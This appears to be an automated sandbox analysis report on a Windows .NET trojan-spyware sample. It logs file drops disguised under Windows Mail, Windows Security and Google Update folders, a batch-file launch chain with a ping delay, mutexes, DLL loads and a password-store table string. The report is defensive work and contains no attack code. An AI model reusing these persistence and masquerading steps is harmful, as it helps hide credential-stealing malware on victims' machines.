Source: FYKrlfQrxb.exe, nxldDLQCqrL7oDiEegc.cs	Cryptographic APIs: 'CreateDecryptor'
Source: FYKrlfQrxb.exe, nxldDLQCqrL7oDiEegc.cs	Cryptographic APIs: 'CreateDecryptor'
Source: FYKrlfQrxb.exe, nxldDLQCqrL7oDiEegc.cs	Cryptographic APIs: 'CreateDecryptor'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@10/310@0/1

Source: C:\Users\user\Desktop\FYKrlfQrxb.exe

File created: C:\Program Files (x86)\google\Update\Install\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Jump to behavior

Source: C:\Users\user\Desktop\FYKrlfQrxb.exe

File created: C:\Users\user\Desktop\mnFKrmWE.log

Jump to behavior

Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Mutant created: NULL
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\0d4dd7d99e6ce9433beaa102d107bf3c457d637ab6324c4d433ea2cba02454d0
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7768:120:WilError_03

Source: C:\Users\user\Desktop\FYKrlfQrxb.exe

File created: C:\Users\user\AppData\Local\Temp\odrH4n4HeF

Jump to behavior

Source: C:\Users\user\Desktop\FYKrlfQrxb.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\RPCsxaP0QJ.bat"

Source: FYKrlfQrxb.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: FYKrlfQrxb.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\FYKrlfQrxb.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\FYKrlfQrxb.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 7e3Pf1XfR4.5.dr, aRMueaJDpV.5.dr, f6tdJyIHsF.5.dr, vLLYx6HuvX.5.dr, yv6NPzR0Ev.5.dr, KfNAULmPDj.5.dr, 9WP5sJ4Igg.5.dr, gg4gXU0NDS.5.dr, TiBcjn0OJK.5.dr, UslYenU0lu.5.dr, zbf7rdAOeX.5.dr, MiAh6sROQ5.5.dr, Lte7RqbpNa.5.dr, AaKxul9Wov.5.dr, R1ya6rfxPX.5.dr, bji5VNpQ5V.5.dr, lsF8BP2fu2.5.dr, jj4gH6XqIv.5.dr, 0r2vdQA8bm.5.dr, gOFuU355pQ.5.dr, XKOxBoTsbs.5.dr, pEvSLI1UIV.5.dr, 8mdLLsHQfP.5.dr, 0LqxFzD6aN.5.dr, 6GO41N3quJ.5.dr, 6gu59o16iv.5.dr, Ac1RK4DLZS.5.dr, KyJyjy9gPB.5.dr, cQOEm4e06q.5.dr, ZTM9WkwbXj.5.dr, jAKJprOKbJ.5.dr, yi8EjKaXhU.5.dr, DrUQwzHb3D.5.dr, y39FEzNIxI.5.dr, MVLAWRb8A9.5.dr, 918OAKiUSj.5.dr, gGhdHAtKfP.5.dr, 2rUWpt2iDK.5.dr, lFF72SUz4N.5.dr, QirwXws58V.5.dr, ZsPM4xy6oM.5.dr, sFJw3YiNFS.5.dr, aNy090hD0t.5.dr, SIZofiw40j.5.dr, oTY7jjmBMh.5.dr, ThBqJ6juEY.5.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: FYKrlfQrxb.exe	Virustotal: Detection: 70%
Source: FYKrlfQrxb.exe	ReversingLabs: Detection: 82%

Source: C:\Users\user\Desktop\FYKrlfQrxb.exe

File read: C:\Users\user\Desktop\FYKrlfQrxb.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\FYKrlfQrxb.exe "C:\Users\user\Desktop\FYKrlfQrxb.exe"
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\RPCsxaP0QJ.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe "C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe"
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\RPCsxaP0QJ.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe "C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe"	Jump to behavior

Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: mmdevapi.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: ksuser.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: avrt.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: audioses.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: midimap.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Section loaded: dpapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\FYKrlfQrxb.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\FYKrlfQrxb.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Directory created: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Directory created: C:\Program Files\Windows Mail\bf3ea1d7b5d5e5	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Directory created: C:\Program Files\Windows Security\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Directory created: C:\Program Files\Windows Security\bf3ea1d7b5d5e5	Jump to behavior

Source: FYKrlfQrxb.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: FYKrlfQrxb.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: FYKrlfQrxb.exe

Static file information: File size 1899008 > 1048576

Source: FYKrlfQrxb.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x1cf200

Source: FYKrlfQrxb.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000004C5E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: xC:/Users/user\AppData\Local\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000385E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000004C5E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: fC:/Users/user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000003042000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ~C:/Users/user\AppData\Local\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000385E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000004C5E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000004C5E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: nC:/Users/user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000004C5E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: mC:/Users/user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000385E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000385E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000004C5E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000003042000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000004C5E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000385E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: vC:/Users/user\AppData\Local\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000385E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: YC:/Users/user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb2 source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000004C5E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: lC:/Users/user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000385E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000003042000.00000004.00000800.00020000.00000000.sdmp
